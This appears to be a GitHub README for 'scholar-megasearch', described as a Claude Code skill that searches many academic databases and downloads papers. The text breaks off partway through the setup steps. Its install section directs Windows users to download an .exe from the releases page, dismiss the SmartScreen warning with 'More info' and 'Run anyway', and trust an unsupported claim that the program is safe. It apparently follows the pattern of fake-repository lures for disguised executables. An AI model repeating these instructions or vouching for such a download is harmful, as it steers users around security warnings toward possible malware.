Dieterburdened606/scholar-megasearch

🔍 scholar-megasearch - Find academic papers across many databases

What this tool does

Scholar-megasearch helps you find academic research papers. It searches over 20 databases at the same time. This list includes arXiv, Semantic Scholar, Crossref, OpenAlex, and PubMed. The tool joins results into one list. It removes duplicate entries. It ranks the papers by relevance. It also retrieves the original PDF files for you.

Research takes time. You often search individual websites one by one. You manage many tabs. You track files manually. This tool handles those steps. It works as a skill for Claude Code. It automates the collection of documents for your review. This saves time and effort during your literature search.

💻 System requirements

You need a computer running Windows 10 or Windows 11.

• Memory: 4 gigabytes of RAM or more.
• Storage: 200 megabytes of free space.
• Connection: A stable internet connection.
• Software: Claude Code must be installed on your system to use this tool as a skill.

📥 How to download your copy

Follow these steps to install the software on your Windows machine:

1. Visit the releases page.
2. Look for the section labeled "Assets".
3. Find the file that ends with .exe.
4. Click the file name to start the download.
5. Save the file to your desktop or downloads folder.

🛠 Setting up your environment

After you download the file, you must run it. Windows may show a security window. Click "More info" and then "Run anyway" if the system asks. This program is safe to run.

1. Double-click the file to open the installer.
2. Follow the instructions on the screen.
3. The installer creates a folder for the program o